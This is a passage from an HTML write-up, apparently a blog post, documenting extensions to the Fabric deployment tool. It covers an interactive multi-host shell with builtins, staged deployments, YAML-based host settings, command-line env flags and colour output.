<tt class="docutils literal"><span class="pre">.shell-command</span></tt> syntax to call shell builtin commands &mdash; including your own
custom ones!</p>
<p>You start shells from within your Fabric commands by invoking the <tt class="docutils literal">.shell()</tt>
method of a context runner. Here's sample code to enable <tt class="docutils literal">fab shell</tt>:</p>
<div class="syntax python"><pre><span class="nd">@task</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">shell</span><span class="p">():</span><br/>    <span class="sd">&quot;&quot;&quot;start a shell within the current context&quot;&quot;&quot;</span><br/><br/>    <span class="n">env</span><span class="p">()</span><span class="o">.</span><span class="n">shell</span><span class="p">(</span><span class="n">format</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span><br/></pre></div>
<p>The above defaults to the <tt class="docutils literal"><span class="pre">app-servers</span></tt> context when you run <tt class="docutils literal">fab shell</tt>,
but you can always override the context from the command line, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab shell @db-servers<br/></pre></div>
<p>And if your Python has been compiled with <a class="reference external" href="http://docs.python.org/library/readline.html">readline support</a>, then you can also leverage the
tab-completion support that I've added:</p>
<ul class="simple">
<li>Terms starting with <tt class="docutils literal">{</tt> auto-complete on the properties within the <tt class="docutils literal">env</tt>
object to make it easy for you to use the string formatting support.</li>
<li>Terms starting with <tt class="docutils literal">.</tt> auto-complete on the available shell builtin
commands.</li>
<li>All other terms auto-complete on the list of available executables on your
local machine's <tt class="docutils literal">$PATH</tt>.</li>
</ul>
<p>Other readline features have been enabled too, e.g. command history with up/down
arrows, <tt class="docutils literal">^r</tt> search and even cross-session history. You can configure where
the history is saved by setting <tt class="docutils literal">env.shell_history_file</tt> which defaults to:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">shell_history_file</span> <span class="o">=</span> <span class="s">&#39;~/.fab-shell-history&#39;</span><br/></pre></div>
</div>
<div class="section" id="shell-builtins">
<h1>Shell Builtins</h1>
<p>As mentioned above, you can call various <tt class="docutils literal"><span class="pre">.shell-commands</span></tt> from within a
Fabric shell to do something other than <tt class="docutils literal">run()</tt> a command on the various
hosts, e.g.</p>
<div class="syntax irb"><pre><span class="gp">&gt;&gt; </span><span class="o">.</span><span class="n">multilocal</span> <span class="n">backup</span><span class="o">.</span><span class="n">rb</span> <span class="p">{</span><span class="n">host_string</span><span class="p">}</span><br/></pre></div>
<p>The above will run the equivalent of the following in parallel for each host:</p>
<div class="syntax python"><pre><span class="n">local</span><span class="p">(</span><span class="s">&quot;backup.rb {host_string}&quot;</span><span class="p">)</span><br/></pre></div>
<p>The following builtins are currently available:</p>
<ul class="simple">
<li><tt class="docutils literal">.cd</tt> &mdash; changes the working directory for all future commands.</li>
<li><tt class="docutils literal">.help</tt> &mdash; displays a list of the available shell commands.</li>
<li><tt class="docutils literal">.info</tt> &mdash; list the current context and the respective hosts.</li>
<li><tt class="docutils literal">.local</tt> &mdash; runs the command locally.</li>
<li><tt class="docutils literal">.multilocal</tt> &mdash; runs the command in parallel locally for each host.</li>
<li><tt class="docutils literal">.multirun</tt> &mdash; runs the command in parallel on the various hosts.</li>
<li><tt class="docutils literal">.multisudo</tt> &mdash; runs the sudoed command in parallel on the various hosts.</li>
<li><tt class="docutils literal">.sudo</tt> &mdash; runs the sudoed command on the various hosts.</li>
<li><tt class="docutils literal"><span class="pre">.toggle-format</span></tt> &mdash; toggles string formatting support.</li>
</ul>
<p>You can define your own using the new <tt class="docutils literal">&#64;shell</tt> decorator, e.g.</p>
<div class="syntax python"><pre><span class="nd">@shell</span><br/><span class="k">def</span> <span class="nf">python_version</span><span class="p">(</span><span class="n">spec</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span><br/>    <span class="k">with</span> <span class="n">hide</span><span class="p">(</span><span class="s">&#39;running&#39;</span><span class="p">,</span> <span class="s">&#39;output&#39;</span><span class="p">):</span><br/>        <span class="n">version</span> <span class="o">=</span> <span class="n">run</span><span class="p">(</span><span class="s">&#39;./get-py-version&#39;</span><span class="p">)</span><br/>    <span class="n">puts</span><span class="p">(</span><span class="s">&quot;python </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="n">version</span><span class="p">)</span><br/></pre></div>
<p>And since the above satisfies the necessary <tt class="docutils literal">func(spec, arg)</tt> function
signature, it can be called from within a shell, e.g.</p>
<div class="syntax irb"><pre><span class="gp">&gt;&gt; </span><span class="o">.</span><span class="n">python</span><span class="o">-</span><span class="n">version</span><br/><span class="go">[dev1.ampify.it] python 2.5.2</span><br/><span class="go">[dev3.ampify.it] python 2.7.0</span><br/></pre></div>
<p>The <tt class="docutils literal">spec</tt> object is initialised with the various variables that the
<tt class="docutils literal">.shell()</tt> method was originally called with, e.g. <tt class="docutils literal">dir</tt>, <tt class="docutils literal">format</tt>, etc.
All changes made, e.g. <tt class="docutils literal">spec.dir = &lsquo;/var/ampify&rsquo;</tt>, are persistent and will
affect all subsequent commands within the shell.</p>
<p>The <tt class="docutils literal">arg</tt> is a string value of everything following the shell command name,
e.g. for <tt class="docutils literal">.local echo hi</tt>, it will be <tt class="docutils literal">&ldquo;echo hi&rdquo;</tt>. The command name is
derived from the function name, but you can provide your own as the first
parameter to the <tt class="docutils literal">&#64;shell</tt> decorator.</p>
<p>And, finally, you can specify <tt class="docutils literal">single=True</tt> to the <tt class="docutils literal">&#64;shell</tt> decorator to
specify that you only want the command to be run a single time and not
repeatedly for every host, e.g.</p>
<div class="syntax python"><pre><span class="nd">@shell</span><span class="p">(</span><span class="s">&#39;hello&#39;</span><span class="p">,</span> <span class="n">single</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">demo</span><span class="p">(</span><span class="n">spec</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span><br/>    <span class="k">print</span> <span class="s">&quot;Hello&quot;</span><span class="p">,</span> <span class="n">arg</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span><br/></pre></div>
<p>The above can then be called from within a shell and it won't repeat for every
host/setting, e.g.</p>
<div class="syntax irb"><pre><span class="gp">&gt;&gt; </span><span class="o">.</span><span class="n">hello</span> <span class="n">tav</span><br/><span class="go">Hello TAV</span><br/></pre></div>
<p>The <tt class="docutils literal">env.ctx</tt> is set for even single-mode shell commands, so you can always
take advantage of context runners, e.g.</p>
<div class="syntax python"><pre><span class="nd">@shell</span><br/><span class="k">def</span> <span class="nf">backup</span><span class="p">(</span><span class="n">spec</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span><br/>    <span class="n">env</span><span class="p">()</span><span class="o">.</span><span class="n">multirun</span><span class="p">(</span><span class="o">...</span><span class="p">)</span><br/></pre></div>
</div>
<div class="section" id="command-line-listing">
<h1>Command Line Listing</h1>
<p>When <tt class="docutils literal">fab</tt> was run without any arguments, it used to spit out the help message
with the various command line options:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab<br/><span class="go">Usage: fab [options] &lt;command&gt;[:arg1,arg2=val2,host=foo,hosts=&#39;h1;h2&#39;,...] ...</span><br/><br/><span class="go">Options:</span><br/><span class="go">  -h, --help            show this help message and exit</span><br/><span class="go">  -V, --version         show program&#39;s version number and exit</span><br/><span class="go">  -l, --list            print list of possible commands and exit</span><br/><span class="go">  --shortlist           print non-verbose list of possible commands and exit</span><br/><span class="go">  -d COMMAND, --display=COMMAND</span><br/><span class="go">                        print detailed info about a given command and exit</span><br/><span class="go">...</span><br/></pre></div>
<p>As useful as this was, I figured it'd be more useful to list the various
commands without having to constantly type <tt class="docutils literal">fab <span class="pre">--list</span></tt>. So now when you run
<tt class="docutils literal">fab</tt> without any arguments, it lists the available commands instead, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab<br/><span class="go">Available commands:</span><br/><br/><span class="go">    check    check if local changes have been committed</span><br/><span class="go">    deploy   publish the latest version of the app</span><br/></pre></div>
<p>You can of course still access the help message by running either <tt class="docutils literal">fab <span class="pre">-h</span></tt> or
<tt class="docutils literal">fab <span class="pre">--help</span></tt>. And you can hide commands from being listed by specifying
<tt class="docutils literal">display=None</tt> to the <tt class="docutils literal">&#64;task</tt> decorator, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><span class="p">(</span><span class="n">display</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">armageddon</span><span class="p">():</span><br/>    <span class="o">...</span><br/></pre></div>
</div>
<div class="section" id="staged-deployment">
<h1>Staged Deployment</h1>
<p>For most serious deployments, you tend to have distinct environments, e.g.
testing, staging, production, etc. And <a class="reference external" href="http://blog.jeremi.info/entry/my-git-workflow-to-deploy-an-application-to-appengine">existing</a>
<a class="reference external" href="http://lethain.com/entry/2008/nov/04/deploying-django-with-fabric/">fabric</a>
<a class="reference external" href="https://github.com/bueda/ops">setups</a> tend to have similarly named commands
so you can run things like:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab production deploy<br/></pre></div>
<p>Now, not being a fan of repeatedly adding the same functionality to all my
fabfiles, I've added staged deployment support to Fabric. You can enable it by
specifying an <tt class="docutils literal">env.stages</tt> list value, e.g.</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">stages</span> <span class="o">=</span> <span class="p">[</span><span class="s">&#39;staging&#39;</span><span class="p">,</span> <span class="s">&#39;production&#39;</span><span class="p">]</span><br/></pre></div>
<p>The first item in the list is taken to be the <em>default</em> and overridable commands
of the following structure are automatically generated for each item:</p>
<div class="syntax python"><pre><span class="nd">@task</span><span class="p">(</span><span class="n">display</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">production</span><span class="p">():</span><br/>    <span class="n">puts</span><span class="p">(</span><span class="s">&quot;env.stage = production&quot;</span><span class="p">,</span> <span class="n">prefix</span><span class="o">=</span><span class="s">&#39;system&#39;</span><span class="p">)</span><br/>    <span class="n">env</span><span class="o">.</span><span class="n">stage</span> <span class="o">=</span> <span class="s">&#39;production&#39;</span><br/>    <span class="n">config_file</span> <span class="o">=</span> <span class="n">env</span><span class="o">.</span><span class="n">config_file</span><br/>    <span class="k">if</span> <span class="n">config_file</span><span class="p">:</span><br/>        <span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">config_file</span><span class="p">,</span> <span class="nb">basestring</span><span class="p">):</span><br/>            <span class="n">config_file</span> <span class="o">=</span> <span class="s">&#39;</span><span class="si">%s</span><span class="s">.yaml&#39;</span><br/>        <span class="k">try</span><span class="p">:</span><br/>            <span class="n">env</span><span class="o">.</span><span class="n">config_file</span> <span class="o">=</span> <span class="n">config_file</span> <span class="o">%</span> <span class="n">stage</span><br/>        <span class="k">except</span> <span class="ne">TypeError</span><span class="p">:</span><br/>            <span class="n">env</span><span class="o">.</span><span class="n">config_file</span> <span class="o">=</span> <span class="n">config_file</span><br/></pre></div>
<p>That is, it will update <tt class="docutils literal">env.stage</tt> and <tt class="docutils literal">env.config_file</tt> with the
appropriate values and print out a message, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab production check deploy<br/><span class="go">[system] env.stage = production</span><br/><span class="go">...</span><br/></pre></div>
<p>And if your fab command line call didn't start with one of the stages, it will
automatically run the one for the default stage, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab check deploy<br/><span class="go">[system] env.stage = staging</span><br/><span class="go">...</span><br/></pre></div>
<p>For added convenience, the environments are also listed when you run <tt class="docutils literal">fab</tt>
without any arguments, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab<br/><span class="go">Available commands:</span><br/><br/><span class="go">    check    check if local changes have been committed</span><br/><span class="go">    deploy   publish the latest version of the app</span><br/><br/><span class="go">Available environments:</span><br/><br/><span class="go">    staging</span><br/><span class="go">    production</span><br/></pre></div>
<p>And, for further flexibility, you can override <tt class="docutils literal">env.stages</tt> with the
<tt class="docutils literal">FAB_STAGES</tt> environment variable. This takes a comma-separated list of
environment stages and, again, the first is treated as the default, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> <span class="nv">FAB_STAGES</span><span class="o">=</span>development,production fab deploy<br/><span class="go">[system] env.stage = development</span><br/><span class="go">...</span><br/></pre></div>
<p>The staged deployment support is compatible with the <a class="reference internal" href="#yaml-config">YAML Config</a> support. So
if you set <tt class="docutils literal">env.config_file</tt> to <tt class="docutils literal">True</tt>, it will automatically look for a
<tt class="docutils literal"><span class="pre">&lt;stage&gt;.yaml</span></tt> file, e.g. <tt class="docutils literal">production.yaml</tt></p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">config_file</span> <span class="o">=</span> <span class="bp">True</span><br/></pre></div>
<p>However if you set it to a string which can be formatted, it will be replaced
with the name of the staged environment, e.g.</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">config_file</span> <span class="o">=</span> <span class="s">&#39;etc/ampify/</span><span class="si">%s</span><span class="s">.yaml&#39;</span><br/></pre></div>
<p>That is, for <tt class="docutils literal">fab development</tt>, the above will use
<tt class="docutils literal">etc/ampify/development.yaml</tt>. And, finally, if <tt class="docutils literal">env.config_file</tt> is simply
a string with no formatting characters, it will be used as is, i.e. the same
config file irregardless of <tt class="docutils literal">env.stage</tt>.</p>
</div>
<div class="section" id="default-settings-manager">
<h1>Default Settings Manager</h1>
<p>The default <tt class="docutils literal">env.get_settings()</tt> can be found in the <tt class="docutils literal">fabric.contrib.tav</tt>
module. If <tt class="docutils literal">env.config_file</tt> support isn't enabled it mimics the traditional
<tt class="docutils literal">&#64;hosts</tt> behaviour, i.e. all the contexts are treated as host strings, e.g.</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">env</span><span class="o">.</span><span class="n">get_settings</span><span class="p">((</span><span class="s">&#39;admin@dev1.ampify.it&#39;</span><span class="p">,</span> <span class="s">&#39;dev3.ampify.it:2222&#39;</span><span class="p">))</span><br/><span class="go">[{&#39;host&#39;: &#39;dev1.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;admin@dev1.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;admin&#39;},</span><br/><span class="go"> {&#39;host&#39;: &#39;dev3.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev3.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;2222&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;tav&#39;}]</span><br/></pre></div>
<p>However, if <tt class="docutils literal">env.config_file</tt> is enabled, then a YAML config file like the
following is expected:</p>
<div class="syntax yaml"><pre><span class="l-Scalar-Plain">default</span><span class="p-Indicator">:</span><br/>  <span class="l-Scalar-Plain">shell</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">/bin/bash -l -c</span><br/><br/><span class="l-Scalar-Plain">app-servers</span><span class="p-Indicator">:</span><br/>  <span class="l-Scalar-Plain">directory</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">/var/ampify</span><br/>  <span class="l-Scalar-Plain">hosts</span><span class="p-Indicator">:</span><br/>    <span class="p-Indicator">-</span> <span class="l-Scalar-Plain">dev1.ampify.it</span><span class="p-Indicator">:</span><br/>        <span class="l-Scalar-Plain">debug</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">on</span><br/>    <span class="p-Indicator">-</span> <span class="l-Scalar-Plain">dev2.ampify.it</span><br/>    <span class="p-Indicator">-</span> <span class="l-Scalar-Plain">dev3.ampify.it</span><span class="p-Indicator">:</span><br/>        <span class="l-Scalar-Plain">directory</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">/opt/ampify</span><br/>    <span class="p-Indicator">-</span> <span class="l-Scalar-Plain">dev4.ampify.it</span><br/><br/><span class="l-Scalar-Plain">build-servers</span><span class="p-Indicator">:</span><br/>  <span class="l-Scalar-Plain">cmd</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">make build</span><br/>  <span class="l-Scalar-Plain">directory</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">/var/ampify/build</span><br/>  <span class="l-Scalar-Plain">hosts</span><span class="p-Indicator">:</span><br/>    <span class="p-Indicator">-</span> <span class="l-Scalar-Plain">build@dev5.ampify.it</span><br/>    <span class="p-Indicator">-</span> <span class="l-Scalar-Plain">dev6.ampify.it</span><span class="p-Indicator">:</span><br/>        <span class="l-Scalar-Plain">user</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">tav</span><br/>    <span class="p-Indicator">-</span> <span class="l-Scalar-Plain">dev7.ampify.it</span><br/><br/><span class="l-Scalar-Plain">hostinfo</span><span class="p-Indicator">:</span><br/>  <span class="l-Scalar-Plain">dev*.ampify.it</span><span class="p-Indicator">:</span><br/>    <span class="l-Scalar-Plain">user</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">dev</span><br/>    <span class="l-Scalar-Plain">debug</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">off</span><br/>  <span class="l-Scalar-Plain">dev3.ampify.it</span><span class="p-Indicator">:</span><br/>    <span class="l-Scalar-Plain">shell</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">/bin/tcsh -c</span><br/>  <span class="l-Scalar-Plain">dev7.ampify.it</span><span class="p-Indicator">:</span><br/>    <span class="l-Scalar-Plain">user</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">admin</span><br/></pre></div>
<p>In the root of the config, everything except the <tt class="docutils literal">default</tt> and <tt class="docutils literal">hostinfo</tt>
properties are assumed to be contexts. And in each of the contexts, everything
except the <tt class="docutils literal">hosts</tt> property is assumed to be an <tt class="docutils literal">env</tt> value.</p>
<p>Three distinct types of contexts are supported:</p>
<ul>
<li><p class="first">Host contexts &mdash; any context containing the <tt class="docutils literal">.</tt> character but no slashes,
e.g. <tt class="docutils literal">dev1.ampify.it</tt>.</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">env</span><span class="o">.</span><span class="n">get_settings</span><span class="p">(</span><br/><span class="gp">... </span>    <span class="p">(</span><span class="s">&#39;tav@dev1.ampify.it&#39;</span><span class="p">,</span> <span class="s">&#39;dev7.ampify.it&#39;</span><span class="p">,</span> <span class="s">&#39;dev3.ampify.it&#39;</span><span class="p">)</span><br/><span class="gp">... </span><span class="p">)</span><br/><span class="go">[{&#39;debug&#39;: False,</span><br/><span class="go">  &#39;host&#39;: &#39;dev1.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;tav@dev1.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/bash -l -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;tav&#39;},</span><br/><span class="go"> {&#39;debug&#39;: False,</span><br/><span class="go">  &#39;host&#39;: &#39;dev7.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev7.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/bash -l -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;admin&#39;},</span><br/><span class="go"> {&#39;debug&#39;: False,</span><br/><span class="go">  &#39;host&#39;: &#39;dev3.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev3.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/tcsh -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;dev&#39;}]</span><br/></pre></div>
<p>The settings are composed in layers: first, any <tt class="docutils literal">default</tt> values; any
matching <tt class="docutils literal">*patterns</tt> in <tt class="docutils literal">hostinfo</tt>; any explicit matches within
<tt class="docutils literal">hostinfo</tt>; any specific information embedded within the context itself,
e.g. <tt class="docutils literal">user&#64;host:port</tt>.</p>
</li>
<li><p class="first">Non-host contexts, e.g. <tt class="docutils literal"><span class="pre">app-servers</span></tt>.</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">env</span><span class="o">.</span><span class="n">get_settings</span><span class="p">((</span><span class="s">&#39;app-servers&#39;</span><span class="p">,))</span><br/><span class="go">[{&#39;debug&#39;: True,</span><br/><span class="go">  &#39;directory&#39;: &#39;/var/ampify&#39;,</span><br/><span class="go">  &#39;host&#39;: &#39;dev1.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev1.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/bash -l -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;dev&#39;},</span><br/><span class="go"> {&#39;debug&#39;: False,</span><br/><span class="go">  &#39;directory&#39;: &#39;/var/ampify&#39;,</span><br/><span class="go">  &#39;host&#39;: &#39;dev2.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev2.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/bash -l -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;dev&#39;},</span><br/><span class="go"> {&#39;debug&#39;: False,</span><br/><span class="go">  &#39;directory&#39;: &#39;/opt/ampify&#39;,</span><br/><span class="go">  &#39;host&#39;: &#39;dev3.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev3.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/tcsh -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;dev&#39;},</span><br/><span class="go"> {&#39;debug&#39;: False,</span><br/><span class="go">  &#39;directory&#39;: &#39;/var/ampify&#39;,</span><br/><span class="go">  &#39;host&#39;: &#39;dev4.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev4.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/bash -l -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;dev&#39;}]</span><br/></pre></div>
<p>First, the hosts are looked up in the <tt class="docutils literal">hosts</tt> property of the specific
context and then a similar lookup is done for each of the hosts as with host
contexts with two minor differences:</p>
<ol class="arabic simple">
<li>Any context-specific values, e.g. the properties for <tt class="docutils literal"><span class="pre">app-servers</span></tt>, are
added as a layer after any <tt class="docutils literal">default</tt> values.</li>
<li>Any host-specific values defined within the context override everything
else.</li>
</ol>
</li>
<li><p class="first">Composite contexts &mdash; made up of a non-host context followed by a slash and
comma-separated hosts, e.g. <tt class="docutils literal"><span class="pre">app-servers/dev1.ampify.it,dev3.ampify.it</span></tt>.</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">env</span><span class="o">.</span><span class="n">get_settings</span><span class="p">((</span><span class="s">&#39;app-servers/dev1.ampify.it,dev3.ampify.it&#39;</span><span class="p">,))</span><br/><span class="go">[{&#39;debug&#39;: True,</span><br/><span class="go">  &#39;directory&#39;: &#39;/var/ampify&#39;,</span><br/><span class="go">  &#39;host&#39;: &#39;dev1.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev1.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/bash -l -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;dev&#39;},</span><br/><span class="go"> {&#39;debug&#39;: False,</span><br/><span class="go">  &#39;directory&#39;: &#39;/opt/ampify&#39;,</span><br/><span class="go">  &#39;host&#39;: &#39;dev3.ampify.it&#39;,</span><br/><span class="go">  &#39;host_string&#39;: &#39;dev3.ampify.it&#39;,</span><br/><span class="go">  &#39;port&#39;: &#39;22&#39;,</span><br/><span class="go">  &#39;shell&#39;: &#39;/bin/tcsh -c&#39;,</span><br/><span class="go">  &#39;user&#39;: &#39;dev&#39;}]</span><br/></pre></div>
<p>These are looked up similarly to non-host contexts, except that instead of
looking for <tt class="docutils literal">hosts</tt> within the config, the specified hosts are used. This is
particularly useful for overriding contexts to a subset of servers from the
command-line.</p>
</li>
</ul>
<p>All in all, I've tried to provide a reasonably flexible default &mdash; but you are
welcome to override it to suit your particular needs, e.g. you might want to
load the config dynamically over the network, etc.</p>
<p>Finally, it's worth noting that all responses are cached by the default
<tt class="docutils literal">env.get_settings()</tt> &mdash; making it very cheap to switch contexts.</p>
</div>
<div class="section" id="hyphenated-commands">
<h1>Hyphenated Commands</h1>
<p>This is a minor point, but I find hyphens, e.g. <tt class="docutils literal"><span class="pre">deploy-ampify</span></tt>, to be more
aesthetically pleasing than underscores, i.e. <tt class="docutils literal">deploy_ampify</tt>. So Fabric now
displays and supports hyphenated variants of all commands, e.g. for the
following fabfile:</p>
<div class="syntax python"><pre><span class="kn">from</span> <span class="nn">fabric.api</span> <span class="kn">import</span> <span class="o">*</span><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">deploy_ampify</span><span class="p">():</span><br/>    <span class="sd">&quot;&quot;&quot;deploy the current version of ampify&quot;&quot;&quot;</span><br/>    <span class="o">...</span><br/></pre></div>
<p>The command listing shows:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab<br/><span class="go">Available commands:</span><br/><br/><span class="go">    deploy-ampify  deploy the current version of ampify</span><br/></pre></div>
<p>And you can run the command with:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab deploy-ampify<br/></pre></div>
</div>
<div class="section" id="command-line-env-flags">
<h1>Command Line Env Flags</h1>
<p>You can now update the <tt class="docutils literal">env</tt> object directly from the command line using the
new env flags syntax:</p>
<ul class="simple">
<li><tt class="docutils literal">+&lt;key&gt;</tt> sets the value of the key to <tt class="docutils literal">True</tt>.</li>
<li><tt class="docutils literal"><span class="pre">+&lt;key&gt;:&lt;value&gt;</span></tt> sets the key to the given string value.</li>
</ul>
<p>So, for the following content in your fabfile:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">config_file</span> <span class="o">=</span> <span class="s">&#39;deploy.yaml&#39;</span><br/><span class="n">env</span><span class="o">.</span><span class="n">debug</span> <span class="o">=</span> <span class="bp">False</span><br/></pre></div>
<p>Running the following will set <tt class="docutils literal">env.config_file</tt> to the new value:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab &lt;commands&gt; +config_file:alt.yaml<br/></pre></div>
<p>And the following will set <tt class="docutils literal">env.debug</tt> to <tt class="docutils literal">True</tt>:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab &lt;commands&gt; +debug<br/></pre></div>
<p>The env flags are all set in the order given on the command line and before any
commands are run (including the config file handling if one is specified). And
you can, of course, specify as many env flags as you want.</p>
</div>
<div class="section" id="optimisations">
<h1>Optimisations</h1>
<p>It won't make much of a difference, but for my own sanity I've made a bunch of
minor optimisations to Fabric, e.g.</p>
<ul class="simple">
<li>Removed repeated look-up of attributes within loops.</li>
<li>Removed repeated local imports within functions.</li>
<li>Removed redundant double-wrapping of functions within the <tt class="docutils literal">&#64;hosts</tt> and
<tt class="docutils literal">&#64;roles</tt> decorators.</li>
</ul>
</div>
<div class="section" id="colors-support">
<h1>Colors Support</h1>
<p>You can enable the optional colors support by setting <tt class="docutils literal">env.colors</tt>, i.e.</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">colors</span> <span class="o">=</span> <span class="bp">True</span><br/></pre></div>
<p>Here's a screenshot of it in action:</p>
<div class="center">
  <a href="https://skitch.com/tav./rqge6/fabric-shell"><img
     src="http://img.skitch.com/20110211-nep3wmpi33qb2c4a13bf7fsgja.png"
     alt="Fabric with Colors" /></a>
</div><p>You can customise the colors by modifying the <tt class="docutils literal">env.color_settings</tt> property.
By default it is set to:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">color_settings</span> <span class="o">=</span> <span class="p">{</span><br/>    <span class="s">&#39;abort&#39;</span><span class="p">:</span> <span class="n">yellow</span><span class="p">,</span><br/>    <span class="s">&#39;error&#39;</span><span class="p">:</span> <span class="n">yellow</span><span class="p">,</span><br/>    <span class="s">&#39;finish&#39;</span><span class="p">:</span> <span class="n">cyan</span><span class="p">,</span><br/>    <span class="s">&#39;host_prefix&#39;</span><span class="p">:</span> <span class="n">green</span><span class="p">,</span><br/>    <span class="s">&#39;prefix&#39;</span><span class="p">:</span> <span class="n">red</span><span class="p">,</span><br/>    <span class="s">&#39;prompt&#39;</span><span class="p">:</span> <span class="n">blue</span><span class="p">,</span><br/>    <span class="s">&#39;task&#39;</span><span class="p">:</span> <span class="n">red</span><span class="p">,</span><br/>    <span class="s">&#39;warn&#39;</span><span class="p">:</span> <span class="n">yellow</span><br/>    <span class="p">}</span><br/></pre></div>
<p>You can find the color functions in the <tt class="docutils literal">fabric.colors</tt> module.</p>
</div>
<div class="section" id="logging-improvements">
<h1>Logging Improvements</h1>
<p>The builtin <tt class="docutils literal">puts()</tt> and <tt class="docutils literal">fastprint()</tt> logging functions have also been
extended with the optional <tt class="docutils literal">format</tt> parameter and <tt class="docutils literal">env.format</tt> support
similar to the <tt class="docutils literal">local()</tt> and <tt class="docutils literal">run()</tt> builtins, so that instead of having to
do something like:</p>
